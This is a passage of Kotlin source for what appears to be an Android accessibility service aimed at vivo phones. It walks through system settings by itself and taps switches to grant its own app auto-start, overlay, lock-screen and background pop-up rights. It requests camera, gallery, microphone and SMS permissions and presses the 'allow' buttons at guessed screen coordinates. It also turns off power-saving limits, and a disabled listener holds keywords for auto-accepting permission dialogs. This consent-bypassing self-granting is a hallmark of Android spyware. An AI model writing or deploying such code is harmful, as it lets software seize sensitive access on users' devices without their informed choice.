                        )
                        if (ok) {
                            Log.i(TAG, "✅ 全局Switch点击成功（父节点不足兜底1）")
                            performSegmentedDelay(300)
                            return true
                        }
                    }
                } else {
                    Log.d(TAG, "🔎 全局未找到Switch节点，进入兜底2（按比例坐标点击）")
                }
                
                // 兜底2：使用参考文本的Y坐标 + 屏幕宽度比例X坐标（靠右）
                val tRect = Rect()
                textNode.getBoundsInScreen(tRect)
                val dm = context.resources.displayMetrics
                val screenW = dm.widthPixels
                val screenH = dm.heightPixels
                // 经验值：开关通常在屏幕右侧 0.85~0.90 区域，这里取0.88
                val ratioX = 0.88f
                val x = (screenW * ratioX).toInt()
                val y = tRect.centerY()
                
                Log.d(TAG, "📐 屏幕尺寸: ${screenW}x${screenH}")
                Log.d(TAG, "📍 文本矩形: ${tRect.left},${tRect.top},${tRect.right},${tRect.bottom}")
                Log.d(
                    TAG,
                    "🎯 兜底2坐标点击: x=$x (ratio=${"%.2f".format(ratioX)}), y=$y (文本Y居中)"
                )
                if (x > 0 && y > 0) {
                    val ok = simpleCoordinateClick(x, y)
                    if (ok) {
                        Log.i(TAG, "✅ 兜底2按比例坐标点击成功（父节点不足）")
                        performSegmentedDelay(300)
                        return true
                    } else {
                        Log.w(TAG, "❌ 兜底2按比例坐标点击失败")
                    }
                } else {
                    Log.w(TAG, "⚠️ 兜底2计算得到的坐标无效: x=$x, y=$y")
                }
                
                return false
            }
            
            val rightRegion = parent.getChild(1)
            if (rightRegion == null) {
                Log.w(TAG, "❌ 无法获取第二个子节点")
                return false
            }
            val rect = Rect()
            rightRegion.getBoundsInScreen(rect)
            if (rect.isEmpty) {
                Log.w(TAG, "⚠️ 第二个子节点矩形为空")
                return false
            }
            
            Log.d(TAG, "📍 vivo右侧区域矩形: ${rect.left},${rect.top},${rect.right},${rect.bottom}")
            Log.d(TAG, "🎯 vivo点击坐标: x=${rect.centerX()}, y=${rect.centerY()}")
            val clicked = simpleCoordinateClick(rect.centerX(), rect.centerY())
            if (clicked) {
                Log.i(TAG, "✅ vivo右侧开关坐标点击成功")
                performSegmentedDelay(300)
                return true
            }
            
            Log.w(TAG, "❌ vivo右侧开关坐标点击失败")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ vivo右侧开关方案异常", e)
            false
        }
    }
    
    /**
     * ✅ 查找包含指定文本的节点
     * 参考 WriteSettingsPermissionManager.findNodeWithText
     */
    private fun findNodeWithText(
        node: AccessibilityNodeInfo,
        targetText: String,
        depth: Int = 0
    ): AccessibilityNodeInfo? {
        if (depth > 15) return null
        
        return try {
            val nodeText = node.text?.toString()?.trim() ?: ""
            val nodeDesc = node.contentDescription?.toString()?.trim() ?: ""
            
            if (nodeText.contains(targetText, ignoreCase = true) || 
                nodeDesc.contains(targetText, ignoreCase = true)
            ) {
                return node
            }
            
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findNodeWithText(child, targetText, depth + 1)
                    if (result != null) {
                        // 只有当result不是child时才回收child
                        if (result != child) {
                            child.recycle()
                        }
                        return result
                    }
                    child.recycle()
                }
            }
            
            null
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找节点失败", e)
            null
        }
    }
    
    /**
     * ✅ 查找第一个可见的Switch节点
     */
    private fun findFirstVisibleSwitch(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        return try {
            fun searchNode(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? {
                if (node == null) return null
                
                try {
                    if (node.className?.toString() == "android.widget.Switch" && 
                        node.isVisibleToUser && 
                        node.isEnabled) {
                        return node
                    }
                    
                    for (i in 0 until node.childCount) {
                        val child = node.getChild(i)
                        if (child != null) {
                            val result = searchNode(child)
                            if (result != null) {
                                if (result != child) {
                                    child.recycle()
                                }
                                return result
                            }
                            child.recycle()
                        }
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 搜索Switch节点异常", e)
                }
                
                return null
            }
            
            searchNode(root)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找第一个可见Switch失败", e)
            null
        }
    }

    /**
     * ✅ Android 15通知权限配置
     * 流程：直接打开应用信息 → 通知 → 允许通知switch按钮
     */
    private suspend fun executeNotificationPermission(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始Android 15通知权限配置")
        
        return try {
            // 1) 直接打开应用信息页面
            if (!openAppInfoPage()) {
                Log.w(TAG, "❌ 无法打开应用信息页面")
                failedRoutes.add("通知权限-应用信息")
                return false
            }
            
            // 2) 导航到通知页面
            if (!navigateToNotificationPage()) {
                Log.w(TAG, "❌ 无法导航到通知页面")
                failedRoutes.add("通知权限-导航")
                return false
            }
            
            // 3) 处理通知开关
            if (!handleNotificationSwitch()) {
                Log.w(TAG, "❌ 无法处理通知开关")
                failedRoutes.add("通知权限-开关")
                return false
            }
            
            // 4) 返回应用
            returnToAppAndWaitVivo()
            
            completedRoutes.add("Android 15通知权限")
            Log.i(TAG, "✅ Android 15通知权限配置成功")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 15通知权限配置失败", e)
            failedRoutes.add("通知权限-异常")
            false
        }
    }
    
    /**
     * ✅ 打开应用信息页面
     */
    private suspend fun openAppInfoPage(): Boolean {
        return try {
            Log.d(TAG, "🔧 开始打开应用信息页面")
            
            val packageName = context.packageName
            val intent = Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = android.net.Uri.parse("package:$packageName")
                flags = Intent.FLAG_ACTIVITY_NEW_TASK
            }
            
            context.startActivity(intent)
            Log.d(TAG, "✅ 已启动应用信息页面")
            
            // 等待页面加载
            performSegmentedDelay(1000)
            
            // 验证是否成功进入应用信息页面
            val root = getStableRootInActiveWindow(service)
            val isAppInfoPage = root?.packageName?.contains("settings") == true
            
            if (isAppInfoPage) {
                Log.d(TAG, "✅ 成功进入应用信息页面")
                true
            } else {
                Log.w(TAG, "❌ 未能进入应用信息页面")
                false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开应用信息页面失败", e)
            false
        }
    }
    
    /**
     * ✅ 导航到通知页面
     */
    private suspend fun navigateToNotificationPage(): Boolean {
        return try {
            Log.d(TAG, "🔧 开始导航到通知页面")
            
            // 查找"通知"文本并点击
            val notificationTexts = listOf("通知", "通知管理", "通知设置")
            
            for (notificationText in notificationTexts) {
                Log.d(TAG, "🔍 尝试查找通知文本: $notificationText")
                
                val textNode = findTextByOriginalAPK(notificationText)
                if (textNode != null) {
                    Log.d(TAG, "✅ 找到通知文本: $notificationText")
                    
                    val clickSuccess = executeClickByOriginalAPK(textNode)
                    if (clickSuccess) {
                        Log.d(TAG, "✅ 成功点击通知文本: $notificationText")
                        performSegmentedDelay(800) // 等待页面跳转
                        return true
                    } else {
                        Log.w(TAG, "❌ 点击通知文本失败: $notificationText")
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到通知相关文本")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到通知页面失败", e)
            false
        }
    }
    
    /**
     * ✅ 处理通知开关
     */
    private suspend fun handleNotificationSwitch(): Boolean {
        return try {
            Log.d(TAG, "🔧 开始处理通知开关")
            
            // 查找通知开关相关的文本
            val switchTexts = listOf("允许通知", "通知", "推送通知")
            
            for (switchText in switchTexts) {
                Log.d(TAG, "🔍 尝试查找通知开关文本: $switchText")
                
                val textNode = findTextByOriginalAPK(switchText)
                if (textNode != null) {
                    Log.d(TAG, "✅ 找到通知开关文本: $switchText")
                    
                    // 查找对应的开关节点
                    val switchNode = findSwitchByOriginalAPK(textNode)
                    if (switchNode != null) {
                        Log.d(TAG, "✅ 找到通知开关节点")
                        
                        // 检查当前状态
                        val currentState = switchNode.isChecked
                        Log.d(TAG, "🔍 通知开关当前状态: ${if (currentState) "开启" else "关闭"}")
                        
                        if (currentState) {
                            Log.d(TAG, "✅ 通知开关已开启，无需操作")
                            return true
                        } else {
                            Log.d(TAG, "🔧 通知开关未开启，开始点击开启")
                            
                            // ✅ 增强点击策略：多次尝试点击
                            var clickSuccess = false
                            for (attempt in 1..3) {
                                Log.d(TAG, "🔧 第${attempt}次尝试点击通知开关")
                                
                                // 策略1: 使用原APK点击方法
                                clickSuccess = executeClickByOriginalAPK(switchNode)
                                if (clickSuccess) {
                                    Log.d(TAG, "✅ 第${attempt}次通知开关点击成功")
                                    break
                                } else {
                                    Log.w(TAG, "❌ 第${attempt}次通知开关点击失败")
                                }
                                
                                // 策略2: 如果原APK方法失败，尝试坐标点击
                                if (!clickSuccess) {
                                    val rect = android.graphics.Rect()
                                    switchNode.getBoundsInScreen(rect)
                                    if (!rect.isEmpty) {
                                        Log.d(TAG, "🔧 尝试坐标点击通知开关: (${rect.centerX()}, ${rect.centerY()})")
                                        clickSuccess = simpleCoordinateClick(rect.centerX(), rect.centerY())
                                        if (clickSuccess) {
                                            Log.d(TAG, "✅ 坐标点击通知开关成功")
                                            break
                                        }
                                    }
                                }
                                
                                if (attempt < 3) {
                                    performSegmentedDelay(200) // 重试间隔
                                }
                            }
                            
                            if (clickSuccess) {
                                Log.d(TAG, "✅ 通知开关点击成功")
                                
                                // ✅ 增强状态验证：多次验证，增加等待时间
                                var verificationSuccess = false
                                for (verifyAttempt in 1..5) {
                                    Log.d(TAG, "🔍 第${verifyAttempt}次状态验证")
                                    
                                    // 等待状态更新
                                    performSegmentedDelay(300)
                                    
                                    // 重新查找节点并检查状态
                                    val newTextNode = findTextByOriginalAPK(switchText)
                                    val newSwitchNode = newTextNode?.let { findSwitchByOriginalAPK(it) }
                                    val newState = newSwitchNode?.isChecked ?: false
                                    
                                    Log.d(TAG, "🔍 第${verifyAttempt}次验证结果: ${if (newState) "开启" else "关闭"}")
                                    
                                    if (newState) {
                                        Log.d(TAG, "✅ 通知开关状态验证成功，已开启")
                                        verificationSuccess = true
                                        break
                                    } else {
                                        Log.w(TAG, "⚠️ 第${verifyAttempt}次状态验证失败，仍为关闭")
                                        
                                        // 如果验证失败，尝试再次点击
                                        if (verifyAttempt < 3) {
                                            Log.d(TAG, "🔄 状态验证失败，尝试再次点击")
                                            val retryRect = android.graphics.Rect()
                                            newSwitchNode?.getBoundsInScreen(retryRect)
                                            if (!retryRect.isEmpty) {
                                                simpleCoordinateClick(retryRect.centerX(), retryRect.centerY())
                                                Log.d(TAG, "🔄 再次点击完成")
                                            }
                                        }
                                    }
                                }
                                
                                if (verificationSuccess) {
                                    return true
                                } else {
                                    Log.w(TAG, "⚠️ 所有状态验证都失败，通知开关仍为关闭")
                                }
                            } else {
                                Log.w(TAG, "❌ 所有点击尝试都失败")
                            }
                        }
                    } else {
                        Log.w(TAG, "❌ 未找到通知开关节点")
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到通知开关相关文本")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理通知开关失败", e)
            false
        }
    }

    /**
     * ✅ Vivo权限管理页面配置 (参考原APK SoftPermissionDetailActivity)
     */
    private suspend fun executeVivoPermissionPage(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始Vivo权限管理页面配置")

        return try {
            // 拆分为四个独立流程：每次打开权限页 → 执行单项 → 返回APP
            val permissionItems = listOf(
                "自启动" to "自启动权限",
                "悬浮窗" to "悬浮窗权限",
                "锁屏显示" to "锁屏显示权限",
//                "关联启动" to "关联启动权限",
                "后台弹出界面" to "后台弹出界面权限",

                )

            var successCount = 0
            for ((label, name) in permissionItems) {
                Log.i(TAG, "🔁 开始单项权限流程: $name")
                openVivoPermissionPage()
                val ok = handlePermissionSwitchDirect(label, name)
                if (ok) successCount++ else Log.w(TAG, "⚠️ 单项失败: $name")

                delay(100)
            }

            val success = successCount >= 2 // 4项至少成功3项
            if (success) {
                completedRoutes.add("Vivo权限管理页面")
            } else {
                failedRoutes.add("Vivo权限管理页面")
            }

            success

        } catch (e: Exception) {
            Log.e(TAG, "❌ Vivo权限管理页面配置失败", e)
            failedRoutes.add("Vivo权限管理页面")
            false
        }
    }

    private suspend fun openVivoPermissionPage() {
        val packageName = context.packageName
        val vivoOsVersion = getVivoSystemProperty(VIVO_OS_VERSION_PROP)
        val vivoBuildId = getVivoSystemProperty(VIVO_BUILD_ID_PROP)
        Log.d(TAG, "🔍 Vivo系统版本: $vivoOsVersion, 构建ID: $vivoBuildId")

        val intent = Intent().apply {
            setClassName(
                "com.vivo.permissionmanager",
                "com.vivo.permissionmanager.activity.SoftPermissionDetailActivity"
            )
            putExtra("packagename", packageName)
            putExtra("packageName", packageName)
            flags = Intent.FLAG_ACTIVITY_NEW_TASK
            if (vivoOsVersion.startsWith("14") || vivoBuildId.contains("OriginOS 4")) {
                Log.d(TAG, "🔍 检测到OriginOS 4，使用保守参数配置")
            } else {
                putExtra("permission_id", ACTION_TYPE_SPECIAL)
                putExtra("system_type", "vivo")
                putExtra("version_code", "53")
            }
        }
        context.startActivity(intent)
        Log.d(TAG, "✅ 打开Vivo权限页面API")
        // 主动检测是否进入目标页面：15次*50ms，命中>=3个关键词即认为已到达
        val keywords =
            listOf("自启动", "关联启动", "悬浮窗", "后台弹出界面", "锁屏显示", "设备管理")
        for (i in 1..15) {
            val root = getStableRootInActiveWindow(service)
            if (root != null && isSettingsPackage(root.packageName)) {
                var hit = 0
                for (kw in keywords) {
                    try {
                        val nodes = root.findAccessibilityNodeInfosByText(kw)
                        if (!nodes.isNullOrEmpty()) hit++
                        if (hit >= 3) break
                    } catch (_: Exception) {
                    }
                }
                if (hit >= 3) {
                    Log.d(TAG, "✅ Vivo权限页面已就绪(命中$hit/关键词)")
                    break
                }
            }
            performSegmentedDelay(50)
        }
    }

    private suspend fun returnToAppAndWaitVivo() {
        try {
            Log.d(TAG, "🏁 直接启动应用主界面")

//            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
//            performSegmentedDelay(400)

//            val context = service.applicationContext
            val launchIntent = context.packageManager.getLaunchIntentForPackage(context.packageName)
            if (launchIntent != null) {
                launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP)
                context.startActivity(launchIntent)
                Log.d(TAG, "✅ 已发起启动: ${context.packageName}")
            } else {
                Log.w(TAG, "⚠️ 未找到启动Intent，回退使用全局返回")
                service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                //                performSegmentedDelay(400)
                service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                //                performSegmentedDelay(600)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动应用失败，回退使用返回键", e)
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
            //            performSegmentedDelay(400)
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
            //            performSegmentedDelay(600)
        }
    }

    /**
     * ✅ 应用详情权限页面配置 (参考原APK APPLICATION_DETAILS_SETTINGS)
     */
    private suspend fun executeAppDetailsPermissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始应用详情权限页面配置")

        return try {
            var successCount = 0

            clearAllRecentTasks()
            delay(1000L)

            // ✅ 修复：增加权限请求间隔，避免冲突
            // 参照 SamsungAuthorizationHandler：直接发起运行时权限请求并轮询校验
            if (executeCameraPermission()) successCount++ else Log.w(TAG, "⚠️ 摄像头权限 获取失败")
            
            // ✅ 修复：减少权限请求间隔
            Log.d(TAG, "⏰ 等待摄像头权限请求完成...")
            delay(delay_page()) // 减少间隔到1秒
            
            if (executeGalleryPermission()) successCount++ else Log.w(TAG, "⚠️ 相册权限 获取失败")
            
            // ✅ 修复：减少权限请求间隔
            Log.d(TAG, "⏰ 等待相册权限请求完成...")
            delay(delay_page()) // 减少间隔到1秒
            
            if (executeMicrophonePermission()) successCount++ else Log.w(TAG, "⚠️ 麦克风权限 获取失败")
            
            // ✅ 修复：减少权限请求间隔
            Log.d(TAG, "⏰ 等待麦克风权限请求完成...")
            delay(delay_page()) // 减少间隔到1秒
            
            if (executeSMSPermission()) successCount++ else Log.w(TAG, "⚠️ 短信权限 获取失败")

            val success = successCount >= 2
            if (success) {
                completedRoutes.add("应用详情权限页面")
            } else {
                failedRoutes.add("应用详情权限页面")
            }

            success

        } catch (e: Exception) {
            Log.e(TAG, "❌ 应用详情权限页面配置失败", e)
            failedRoutes.add("应用详情权限页面")
            false
        }
    }

    // ====== 运行时权限获取（仅使用MainActivity直接调用，三次重试） ======
    private suspend fun executeCameraPermission(): Boolean {
        return try {
            Log.d(TAG, "🎥 开始请求摄像头权限")
            Log.d(TAG, "🔍 Context类型: ${context.javaClass.simpleName}")

            // 检查是否已有权限
            if (PermissionRequestHelper.hasCameraPermission(context)) {
                Log.d(TAG, "✅ 摄像头权限已授予")
                return true
            }

            Log.d(TAG, "📱 摄像头权限未授予，开始请求权限")

            // ✅ 检查MainActivity是否在前台
            if (!isMainActivityInForeground()) {
                Log.w(TAG, "❌ MainActivity不在前台，无法直接请求权限")
                return false
            }

            Log.d(TAG, "✅ MainActivity在前台，开始直接权限请求")

            // ✅ 三次重试机制
            var retryCount = 0
            val maxRetries = 3
            
            while (retryCount < maxRetries) {
                retryCount++
                Log.d(TAG, "🚀 第${retryCount}次摄像头权限请求")
                
                // 重试间隔
                if (retryCount > 1) {
                    Log.d(TAG, "⏰ 重试前等待2秒...")
                    delay(delay_page())
                }
                
                // 执行直接权限请求
                val success = executeCameraPermissionDirectly()
                if (success) {
                    Log.d(TAG, "✅ 第${retryCount}次摄像头权限请求成功")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第${retryCount}次摄像头权限请求失败")
                }
            }

            Log.w(TAG, "❌ 摄像头权限请求失败，已重试${maxRetries}次")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 摄像头权限请求异常", e)
            false
        }
    }

    private suspend fun executeGalleryPermission(): Boolean {
        return try {
            Log.d(TAG, "🖼️ 开始请求相册权限")

            // ✅ 优化：使用快速检测方法，避免长时间等待
            if (PermissionRequestHelper.hasGalleryPermissionFast(context)) {
                Log.d(TAG, "✅ 相册权限已授予（快速检测）")
                return true
            }

            // ✅ 如果快速检测失败，进行详细检测并输出调试信息
            val detailedResult = PermissionRequestHelper.hasGalleryPermissionDetailed(context)
            Log.d(TAG, "🔍 详细权限检测结果: $detailedResult")

            Log.d(TAG, "📱 相册权限未授予，开始请求权限")

            // ✅ 检查MainActivity是否在前台
            if (!isMainActivityInForeground()) {
                Log.w(TAG, "❌ MainActivity不在前台，无法直接请求权限")
                return false
            }

            Log.d(TAG, "✅ MainActivity在前台，开始直接权限请求")

            // ✅ 三次重试机制
            var retryCount = 0
            val maxRetries = 3
            
            while (retryCount < maxRetries) {
                retryCount++
                Log.d(TAG, "🚀 第${retryCount}次相册权限请求")
                
                // 重试间隔
                if (retryCount > 1) {
                    Log.d(TAG, "⏰ 重试前等待2秒...")
                    delay(delay_page())
                }
                
                // 执行直接权限请求
                val success = executeGalleryPermissionDirectly()
                if (success) {
                    Log.d(TAG, "✅ 第${retryCount}次相册权限请求成功")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第${retryCount}次相册权限请求失败")
                }
            }

            Log.w(TAG, "❌ 相册权限请求失败，已重试${maxRetries}次")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 相册权限请求异常", e)
            false
        }
    }

    private suspend fun executeMicrophonePermission(): Boolean {
        return try {
            Log.d(TAG, "🎤 开始请求麦克风权限")

            // 检查是否已有权限
            if (PermissionRequestHelper.hasMicrophonePermission(context)) {
                Log.d(TAG, "✅ 麦克风权限已授予")
                return true
            }

            Log.d(TAG, "📱 麦克风权限未授予，开始请求权限")

            // ✅ 检查MainActivity是否在前台
            if (!isMainActivityInForeground()) {
                Log.w(TAG, "❌ MainActivity不在前台，无法直接请求权限")
                return false
            }

            Log.d(TAG, "✅ MainActivity在前台，开始直接权限请求")

            // ✅ 三次重试机制
            var retryCount = 0
            val maxRetries = 3
            
            while (retryCount < maxRetries) {
                retryCount++
                Log.d(TAG, "🚀 第${retryCount}次麦克风权限请求")
                
                // 重试间隔
                if (retryCount > 1) {
                    Log.d(TAG, "⏰ 重试前等待2秒...")
                    delay(delay_page())
                }
                
                // 执行直接权限请求
                val success = executeMicrophonePermissionDirectly()
                if (success) {
                    Log.d(TAG, "✅ 第${retryCount}次麦克风权限请求成功")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第${retryCount}次麦克风权限请求失败")
                }
            }

            Log.w(TAG, "❌ 麦克风权限请求失败，已重试${maxRetries}次")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 麦克风权限请求异常", e)
            false
        }
    }

    private suspend fun executeSMSPermission(): Boolean {
        return try {
            Log.d(TAG, "📱 开始请求短信权限 android版本 $ANDROID_VERSION")

            // 检查是否已有权限
            if (PermissionRequestHelper.hasSMSPermission(context)) {
                Log.d(TAG, "✅ 短信权限已授予")
                return true
            }

            Log.d(TAG, "📱 短信权限未授予，开始请求权限")

            // ✅ 检查MainActivity是否在前台
            if (!isMainActivityInForeground()) {
                Log.w(TAG, "❌ MainActivity不在前台，无法直接请求权限")
                return false
            }

            Log.d(TAG, "✅ MainActivity在前台，开始直接权限请求")

            // ✅ 三次重试机制
            var retryCount = 0
            val maxRetries = 3
            
            while (retryCount < maxRetries) {
                retryCount++
                Log.d(TAG, "🚀 第${retryCount}次短信权限请求")
                
                // 重试间隔
                if (retryCount > 1) {
                    Log.d(TAG, "⏰ 重试前等待2秒...")
                    delay(delay_page())
                }
                
                // 执行直接权限请求
                val success = executeSMSPermissionDirectly()
                if (success) {
                    Log.d(TAG, "✅ 第${retryCount}次短信权限请求成功")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 第${retryCount}次短信权限请求失败")
                }
            }

            Log.w(TAG, "❌ 短信权限请求失败，已重试${maxRetries}次")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 短信权限请求异常", e)
            false
        }
    }

    private suspend fun clickLikelyAllowButtons(): Boolean {
        return try {
            val dm = context.resources.displayMetrics
            val w = dm.widthPixels
            val h = dm.heightPixels
            Log.d(TAG, "📐 屏幕尺寸: ${w}x${h}")
            val candidates = listOf(
                Pair((w * 0.85f).toInt(), (h * 0.88f).toInt()), // 右下角 85%,88%
                Pair((w * 0.50f).toInt(), (h * 0.88f).toInt()), // 底部中间 50%,88%
                Pair((w * 0.85f).toInt(), (h * 0.50f).toInt())  // 右侧中部 85%,50%
            )
            var any = false
            for ((x, y) in candidates) {
                Log.d(
                    TAG,
                    "🖱️ 尝试坐标点击(允许按钮猜测): ($x,$y) → 比例=(${"%.2f".format(x.toFloat() / w)} , ${
                        "%.2f".format(y.toFloat() / h)
                    })"
                )
                val ok = executePreciseGestureClick(x, y, 1)
                any = any || ok
                delay(120)
            }
            any
        } catch (e: Exception) {
            Log.e(TAG, "auto allow tap err", e); false
        }
    }

    private suspend fun clickAllowByType(type: String): Boolean {
        return try {
            Log.d(TAG, "🔧 开始查找并点击权限允许按钮: $type")
            

            clickAllowByTypeFallback(type)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ clickAllowByType异常: $type", e)
            // 异常时也尝试备用方案
            return clickAllowByTypeFallback(type)
        }
    }
    
    /**
     * ✅ 坐标点击备用方案（当文本查找失败时使用）
     */
    private suspend fun clickAllowByTypeFallback(type: String): Boolean {
        val dm = context.resources.displayMetrics
        val w = dm.widthPixels
        val h = dm.heightPixels
        Log.d(TAG, "📐 屏幕尺寸: ${w}x${h}")
        return try {
            when (type) {
                "CAMERA", "MIC" -> {
                    val candidates = listOf(
                        Pair(0.52f, 0.80f),
                        Pair(0.52f, 0.81f),
                        Pair(0.53f, 0.83f),
                        Pair(0.52f, 0.85f),
                        Pair(0.52f, 0.87f),
                        Pair(0.53f, 0.89f),
                    )

                    var any = false
                    for ((xf, yf) in candidates) {
                        val x = (w * xf).toInt()
                        val y = (h * yf).toInt()
                        Log.d(
                            TAG,
                            "🖱️ ${type} [备用] 坐标点击: ($x,$y) → 比例=(${"%.2f".format(xf)} , ${
                                "%.2f".format(yf)
                            })"
                        )
                        val ok = executePreciseGestureClick(x, y, 1)
                        any = any || ok
                        delay(150)
                    }
                    any
                }

                "GALLERY" -> {
                    val candidates = listOf(
                        Pair(0.52f, 0.87f),
                        Pair(0.52f, 0.88f)
                    )

                    var any = false
                    for ((xf, yf) in candidates) {
                        val x = (w * xf).toInt()
                        val y = (h * yf).toInt()
                        Log.d(
                            TAG,
                            "🖱️ ${type} [备用] 坐标点击: ($x,$y) → 比例=(${"%.2f".format(xf)} , ${
                                "%.2f".format(yf)
                            })"
                        )
                        val ok = executePreciseGestureClick(x, y, 1)
                        any = any || ok
                        delay(150)
                    }
                    any
                }

                "SMS" -> {
                    val x: Int
                    val y: Int
                    
                    if (ANDROID_VERSION == VIVO_ANDROID_10){
                        x = (w * 0.50f).toInt()
                        y = (h * 0.88f).toInt()
                    }else{
                        x = (w * 0.50f).toInt()
                        y = (h * 0.80f).toInt()
                    }
                    Log.d(TAG, "🖱️ SMS [备用] 第一次坐标点击: ($x,$y)")
                    executePreciseGestureClick(x, y, 1)
                    delay(220)
                    Log.d(TAG, "🖱️ SMS [备用] 第二次坐标点击: ($x,$y)")
                    executePreciseGestureClick(x, y, 1)
                    true
                }

                else -> clickLikelyAllowButtons()
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ clickAllowByTypeFallback异常: $type", e)
            false
        }
    }

    // ====== 运行时权限弹窗“自动允许”监听器 ======
    // 已废弃：由于系统限制在弹框期间无法可靠读取root
    private fun startAutoAllowListener(): Job {
        val allowKeywords = arrayOf(
            "确定",
            "允许",
            "始终允许",
            "允许使用照片和视频",
            "所有文件",
            "允许管理所有文件",
            "允许访问全部",
            "使用期间允许",
            "仅使用期间允许",
            "使用应用时允许",
            "使用时允许",
            "仅在使用中允许",
            "仅在前台使用应用时允许",
            "仅在使用该应用时允许",
            "允许本次使用",
            "本次使用时允许",
            "允许通知",
            "仅媒体"
        )

        val scope = CoroutineScope(Dispatchers.Default)
        return scope.launch { Log.d(TAG, "🛰️ 自动允许监听器已禁用") }
    }

    /**
     * ✅ 省电管理特殊权限配置 (原APK 42203类型）
     */
    private suspend fun executePowerSaveSpecialPermissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始省电管理特殊权限配置")

        return try {
            // ✅ 确保在设置首页
            ensureOnSettingsHome()

            // ✅ 导航路径：设置 -> 电池 -> 省电管理 -> 特殊权限开关
            val navigationPath = listOf("电池")
            for (step in navigationPath) {
                if (!navigateToTargetPage(step)) {
                    Log.w(TAG, "⚠️ 导航到 $step 失败")
                    return false
                }

            }
//            , "省电管理"
            var powerTexts = listOf(
                "省电管理",
                "省电管理",
                "省电管理",

            )
            if (ANDROID_VERSION == VIVO_ANDROID_13) {
                powerTexts = listOf(
                    "更多设置",
                    "更多设置",
                    "更多设置",

                "省电管理",
                "省电管理",
                "省电管理",
                "省电管理",
                "省电管理",
                "省电管理",
                "省电管理"
                )
            }


            for (label in powerTexts) {
                if (navigateToTargetPage(label)) {
                    Log.d(TAG, "✅ 进入页面: $label")

                    break
                }
                performSegmentedDelay(200)
            }
            performSegmentedDelay(300)
            performScrollDown() // 向下滑倒一下
            performSegmentedDelay(300)
            // ✅ 处理特殊权限开关 (原APK 42203类型）- 直接默认点击关闭
            var specialPermissions = listOf(
                "熄屏5分钟断开网络" to "熄屏5分钟断开网络",
                "睡眠待机优化" to "睡眠优化权限",
                    "睡眠模式" to "睡眠模式权限"
                )

//            if (ANDROID_VERSION == VIVO_ANDROID_13) {
//                specialPermissions.apply {   "睡眠模式" to "睡眠模式权限" }
//                specialPermissions = listOf(
//
//                    "睡眠模式" to "睡眠模式权限"
//                )
//            }

            var successCount = 0
            for ((textLabel, switchName) in specialPermissions) {
                if (handleSpecialPermissionSwitch(textLabel, switchName)) {


                    successCount++
                }
            }

            val success = successCount >= 1
            if (success) {

                //没有获取到自启动的权限，再去获取一下
                 if(!AutoSatrtApp){
                     service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                     performSegmentedDelay(100)
                     service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
                     performSegmentedDelay(100)
                     val navigationPath = listOf("隐私")
                     for (step in navigationPath) {
                         if (!navigateToTargetPage(step)) {
                             Log.w(TAG, "⚠️ 导航到 $step 失败")

                         }else{
                             performSegmentedDelay(500)
                             if (!navigateToTargetPage("权限管理")) {
                                 Log.w(TAG, "⚠️ 导航到权限管理失败")
                             }else{
                                 performSegmentedDelay(500)
                                 if (!navigateToTargetPage("权限")) {
                                     Log.w(TAG, "⚠️ 导航到权限失败")
                                 }else{
                                     performSegmentedDelay(500)
                                     if (!navigateToTargetPage("自启动")) {
                                         Log.w(TAG, "⚠️ 导航到自启动失败")
                                     }else{
                                         performSegmentedDelay(500)
                                         val pm = context.packageManager
                                         val appName = try {
                                             pm.getApplicationLabel(context.applicationInfo).toString()
                                         } catch (_: Exception) {
                                             context.packageName
                                         }
                                         Log.d(TAG, "🔎 查找应用: $appName")

                                         var appNode = findTextByOriginalAPK(appName)
                                         if (appNode == null) {
                                             for (i in 1..15) {
                                                 performScrollDown()
//                    if (!performScrollDown()) break
                                                 performSegmentedDelay(800)
                                                 appNode = findTextByOriginalAPK(appName)
                                                 Log.d(TAG, "🔎 第$i 次翻页后查找应用: ${appNode != null}")
                                                 if (appNode != null) break
                                             }
                                         }
                                        if (appNode != null) {
